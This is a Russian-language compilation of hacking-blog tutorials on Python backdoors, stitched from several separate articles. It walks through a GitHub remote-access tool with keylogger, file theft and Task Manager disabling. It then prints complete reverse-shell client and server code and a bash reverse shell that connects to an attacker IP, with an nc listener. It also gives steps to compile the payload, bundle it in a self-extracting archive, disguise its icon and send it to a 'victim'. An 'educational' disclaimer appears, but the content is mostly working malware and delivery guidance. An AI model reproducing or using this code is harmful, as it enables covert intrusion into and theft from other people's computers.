Бэкдор на Python
Хай хацкеры, эта первая статья по годноте с GitHub’a. Сегодня рассмотрим интересный репозиторий под названием Python Backdoor . Этот репозиторий мне скинул подписчик, спасибо ему большое.
Изучаем!
Для начала качаем сам репозиторий:
Устанавливаем зависимости командой pip install -r requirements.txt
Теперь открываем файл setup.py :
Выбираем цифру 1, если использовать ваш ip (на скрине мой)
Цифру 2, если использовать другой ip адресс.
Цифру 3, если использовать DNS.
Я выберу цифру 2, т.к мы лиш изучаем данный бэкдор:
127.0.0.1 — локальный ip
Enter port number — указываете открытый порт, у меня он 5552.
Use UPX? y/n (y — да, n — нет) — использовать UPX сжатие?
Path for icon — Путь до иконки
Итак если всё пройдёт гладко появится примерно такая надпись:
18330 INFO: Building EXE from EXE-00.toc completed successfully.
В папке dist создался наш бэкдор.
Теперь открываем файл server.py :
Listening on port 5552
Открываем файл client.exe и в консоли появляется следующие:
Вводим команду —help
Чтобы узнать что к чему:
Перечислить все соединения Взаимодействие с соединением Открыть удаленный cmd с подключением Отправить команду каждому соединению Закрыть соединение выход и закрытие всех соединений
Посмотрим текущие соединения —l:
Подключаемся к ПК с ID 0.
Возможности при подключении(по порядку):
Отправить сообщение Открыть сайт Получить файл от пользователя Отправить файл пользователю Сделать скриншот Запустить автозагрузку Посмотреть файлы Узнать информацию о ПК Открыть CMD Отключить диспетчер задач Функции кейлоггера Заблокировать пользователя Перезапустить пользователя Выключить пользователя Переместить соединение в фоновый режим Закрыть соединение
Попробуем открыть сайт:
Создание бэкдора на Python
Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.

В информационной безопасности существует два основных типа полезной нагрузки:
- Оболочка (Шелл)
- Обратная оболочка (Реверс шелл)
Оболочки создают сервер непосредственно на целевой машине, к которому может подключиться хакер.
Обратные оболочки состоит из двух частей: клиента и сервера. Клиентский модуль запускаются на целевой машине и самостоятельно подключается к компьютеру хакера.
Статья написана в образовательных целях, для обучения этичных хакеров. При демонстрации работы были использованы личные устройства автора. Использование подобных инструментов без надлежащего письменного разрешения, является незаконным и будет расцениваться, как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
Поскольку направление исходного соединения было «обратным» (например, от жертвы к злоумышленнику), оболочка получила название обратной оболочки или бэкдор. Далее мы напишем бэкдор на Python. Для понимания, целевой компьютер будет называться жертвой, а машина хакера — атакующим.
Создание бэкдора на Python
Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:
- Получение нашего локального IP и указанного порта.
- Привязка IP-адреса и порта для создания сокета.
- Запуск слушателя.
- Отправка и получение команд в бесконечном цикле.
Простой Backdoor на Python
Всем доброго времени суток! Сегодня я расскажу как написать простой backdoor на Python(3).
import socket import os def ExecuteCommand(command): output = os.popen(command).read() return output def main(): host = "127.0.0.1" # ip который будем использовать port = 6500 # порт while True: while True: try: s = socket.socket() # создаем сокет s.connect((host,port)) # подключаемся except: break while True: try: data = s.recv(1024).decode() # получаем команду output = ExecuteCommand(str(data)) if len(output) == 0: s.send(" ".encode()) # в случае, если рзультат # пустой, отправляем пробел else: s.send(output.encode()) # отправляем результат except: break s.close() if __name__ == '__main__': main()
import socket def main(): host = "127.0.0.1" # ip который будем прослушивать port = 6500 # порт s = socket.socket() # создаем сокет s.bind((host,port)) s.listen(1) print("Waiting for connection. ") connection, address = s.accept() # подключаемся print("Connection from " + str(address)) while True: try: toSend = input("-> ") connection.send(toSend.encode()) # отправляем команду data = connection.recv(1024).decode() # получаем результат print(data) # выводим на экран except: break print("Connection refused") # в случае, если соединение разорванно connection.close() if __name__ == '__main__': main()
Сдесь сам «вирус» является клиентом, а не сервером.
Теперь о том, как это все скомпилировать и использовать.
Требуется:
1. Python 3
2. Pyinstaller (его можно установить через pip командой «pip install pyinstaller»)
Меняем в обоих скриптах ip на свой, а порт на любой открытый (если он не используется другим приложением конечно).
Теперь компилируем Client.py.
Помещаем файлы в папке dist/Client в WinRAR SFX и указываем, что должен
запускаться Client.exe (я не стал использовать флажок -F для pyinstaller, так как на некоторых машинах файл может запускаться медленно).
Маскируем файл (меняем иконку и т.д.) и отправляем жертва.
Запускаем наш сервер и ждем, пока жертва откроет файл.
Вот и удаленный доступ.
Python для хакера. Часть 2. Backdoor
Всем привет, дорогие друзья! Наконец мы дожили до второй части. Заранее извиняюсь, если кого-то заставил ждать. Прошлая часть немного навела шороху, надеюсь и эта не отстанет.
[Введение]
В этой части мы постараемся написать backdoor. В его написании, я не вижу ничего сложного, но перед тем как начать его создавать, давайте разберемся с «задней дверью» подробнее!
Backdoor(или же «запасной ход») — это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell’у).

Так почему же backdoor — черный ход? — спросите вы.
Потому, что его используют для повторного проникновения в уже взломанную систему! — отвечу вам, я)
Кстати, Shell — это консольная оболочка системы. К ней мы сегодня и постараемся получить доступ.
Существует 2 способа получения доступа к командной оболочке. Это reverse и bind.
Bind Shell — это, когда атакуемая машина играет роль сервера, а машина атакующего — клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell’у.
Reverse Shell — это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell’у.
Reverse Shell, кстати, используется в том случае, если соединение блокируется фаерволом. Как раз таки его мы с вами и опишем.
[Приступаем к делу]
Что же, сегодня нам понадобятся 3 следующие библиотеки:
С библиотекой socket, мы уже познакомились в прошлой части, а теперь немного про остальные 2-е.
Subprocess — запускает определенные(заданные вами) процессы.
OS — это модуль, который предназначен для работы с операционной системой.
И так, подключаем данные модули:
import subprocess import socket import os
Далее создаем сокет и осуществляем подключение:
host = "имя сервера" port = порт sock = socket.socket() sock.connect((host, port))
А теперь не мало важная часть. Это — потоки ввода данных. Наша задача, привязать потоки данных к нашей серверной части.
os.dup2(sock.fileno(),0) os.dup2(sock.fileno(),1) os.dup2(sock.fileno(),2)
И конечно же даем доступ к shell’у(командной оболочке):Код:
subprocess.call(["bash","-i"])
В итоге получаем backdoor, который получает доступ по принципу Reverse Shell
import subprocess import socket import os host = 192.168.1.X # server name port = 9191 #ясно дело порт ) sock = socket.socket() sock.connect((host, port)) os.dup2(sock.fileno(),0) os.dup2(sock.fileno(),1) os.dup2(sock.fileno(),2) subprocess.call(["bash", "-i"])
Далее, на атакующей машине остается только запустить сервер. Это делается просто — netcat.
Пропишем следующую команду:Код:
nc -nlvp
В итоге наблюдаем, что все сработало как нам надо)

А на этом все. Попробуйте написать свой сервер для атакующей машины.